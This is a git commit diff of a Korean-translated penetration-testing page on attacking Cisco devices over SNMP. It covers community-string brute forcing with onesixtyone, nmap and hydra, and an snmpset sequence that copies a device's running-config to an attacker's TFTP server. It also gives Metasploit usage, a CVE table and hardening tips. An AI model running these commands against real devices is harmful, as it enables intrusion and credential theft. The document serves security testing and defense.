Translated ['src/network-services-pentesting/pentesting-snmp/cisco-snmp.

This commit is contained in:
Translator 2025-08-20 11:28:42 +00:00
parent 918ea5ca2f
commit 9db8eeb35c

View File

@ -2,36 +2,94 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Pentesting Cisco Networks ## Cisco 네트워크의 펜테스팅
**SNMP**는 일반 메시지에 대해 161/UDP 포트, 트랩 메시지에 대해 162/UDP 포트를 사용하여 UDP에서 작동합니다. 이 프로토콜은 SNMP 에이전트와 서버 간의 통신을 가능하게 하는 비밀번호 역할을 하는 커뮤니티 문자열에 의존합니다. 이러한 문자열은 접근 수준을 결정하므로 중요하며, 특히 **읽기 전용(RO) 또는 읽기-쓰기(RW) 권한**을 설정합니다. 펜테스터에게 주목할 만한 공격 벡터는 **커뮤니티 문자열의 무작위 대입 공격**으로, 네트워크 장치에 침투하는 것을 목표로 합니다. **SNMP**는 일반 메시지에 대해 **161/UDP** 포트와 트랩 메시지에 대해 **162/UDP** 포트를 사용하는 UDP에서 작동합니다. 이 프로토콜은 SNMP 에이전트와 관리자 간의 통신을 가능하게 하는 평문 "비밀번호" 역할을 하는 *커뮤니티 문자열*에 의존합니다. 이러한 문자열은 접근 수준을 결정하며, 특히 **읽기 전용(RO) 또는 읽기-쓰기(RW) 권한**을 설정합니다.
이러한 무작위 대입 공격을 실행하기 위한 실용적인 도구는 [**onesixtyone**](https://github.com/trailofbits/onesixtyone)이며, 이는 잠재적인 커뮤니티 문자열 목록과 대상의 IP 주소가 필요합니다: 고전적이지만 여전히 매우 효과적인 공격 벡터는 **커뮤니티 문자열을 무차별 대입**하여 인증되지 않은 사용자에서 장치 관리자(RW 커뮤니티)로 상승하는 것입니다. 이 작업을 위한 실용적인 도구는 [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
```bash ```bash
onesixtyone -c communitystrings -i targets onesixtyone -c community_strings.txt -i targets.txt
``` ```
#### `cisco_config_tftp` 다른 빠른 옵션은 Nmap NSE 스크립트 `snmp-brute` 또는 Hydra의 SNMP 모듈입니다:
Metasploit 프레임워크는 `cisco_config_tftp` 모듈을 제공하여 RW 커뮤니티 문자열을 획득한 경우 장치 구성을 추출할 수 있습니다. 이 작업에 필요한 필수 매개변수는 다음과 같습니다:
- RW 커뮤니티 문자열 (**COMMUNITY**)
- 공격자의 IP (**LHOST**)
- 대상 장치의 IP (**RHOSTS**)
- 구성 파일의 대상 경로 (**OUTPUTDIR**)
구성이 완료되면 이 모듈은 지정된 폴더로 장치 설정을 직접 다운로드할 수 있습니다.
#### `snmp_enum`
또 다른 Metasploit 모듈인 **`snmp_enum`**은 상세한 하드웨어 정보를 수집하는 데 특화되어 있습니다. 이 모듈은 두 가지 유형의 커뮤니티 문자열로 작동하며, 성공적인 실행을 위해 대상의 IP 주소가 필요합니다:
```bash ```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 hydra -P wordlist.txt -s 161 10.10.10.1 snmp
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
``` ```
## 참고문헌 ---
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) ### SNMP를 통한 구성 덤프 (CISCO-CONFIG-COPY-MIB)
**RW 커뮤니티**를 얻으면 CLI 접근 없이 CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`)를 악용하여 실행 중인 구성/시작 구성을 TFTP/FTP 서버로 복사할 수 있습니다. 두 가지 일반적인 접근 방식은 다음과 같습니다:
1. **Nmap NSE `snmp-ios-config`**
```bash
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1
```
스크립트는 복사 작업을 자동으로 조정하고 구성을 stdout에 출력합니다.
2. **수동 `snmpset` 시퀀스**
```bash
# Copy running-config (4) to a TFTP server (1) random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
```
행 식별자는 *일회성*입니다; 5분 이내에 재사용하면 `inconsistentValue` 오류가 발생합니다.
파일이 TFTP 서버에 올라가면 자격 증명(`enable secret`, `username <user> secret` 등)을 검사하거나 수정된 구성을 장치로 다시 푸시할 수 있습니다.
---
### Metasploit goodies
* **`cisco_config_tftp`** 동일한 MIB를 악용한 후 TFTP를 통해 running-config/startup-config를 다운로드합니다.
* **`snmp_enum`** 장치 인벤토리 정보, VLAN, 인터페이스 설명, ARP 테이블 등을 수집합니다.
```bash
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run
```
---
## 최근 Cisco SNMP 취약점 (2023 2025)
벤더 권고 사항을 추적하는 것은 참여 내에서 *제로데이-투-엔데이* 기회를 범위 지정하는 데 유용합니다:
| 연도 | CVE | 영향을 받는 기능 | 영향 |
|------|-----|-----------------|--------|
| 2025 | CVE-2025-20174 | SNMP 서브시스템 | 조작된 패킷이 IOS/IOS-XE (v1/v2c/v3)에서 인증된 *DoS* (재시작)를 유발합니다. |
| 2024 | CVE-2024-20373 | IPv4 ACL 처리 | 잘못 구성된 **확장** ACL이 조용히 *실패*하여 유효한 커뮤니티/사용자가 알려진 경우 인증되지 않은 SNMP 폴링을 허용합니다. |
| 2025 | (아직 CVE 없음) | SNMPv3 구성 제한 우회 | 유효한 v3 사용자가 거부되어야 하는 주소에서 폴링할 수 있습니다. |
악용 가능성은 종종 커뮤니티 문자열이나 v3 자격 증명을 소유하는 것에 따라 달라집니다. 이는 무작위 대입 공격이 여전히 관련성이 있는 또 다른 이유입니다.
---
## 강화 및 탐지 팁
* 수정된 IOS/IOS-XE 버전으로 업그레이드하십시오 (위의 CVE에 대한 Cisco 권고 참조).
* v1/v2c보다 `authPriv` (SHA-256/AES-256)를 사용하는 **SNMPv3**를 선호하십시오.
```
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
```
* SNMP를 관리 VRF에 바인딩하고 **표준** 번호가 매겨진 IPv4 ACL로 **제한하십시오** (확장된 이름 ACL은 위험합니다 CVE-2024-20373).
* **RW 커뮤니티**를 비활성화하십시오; 운영상 필요할 경우 ACL 및 뷰로 제한하십시오:
`snmp-server community <string> RW 99 view SysView`
* 다음을 모니터링하십시오:
- UDP/161 급증 또는 예상치 못한 출처 (SIEM 규칙).
- 비대역 구성 변경을 나타내는 `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` 이벤트.
* 특정 DoS 벡터를 줄이기 위해 **SNMPv3 로깅**`snmp-server packetsize 1500`을 활성화하십시오.
---
## 참조
- Cisco: *Cisco 장치 간 구성 복사 방법*
- Cisco 보안 권고 *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}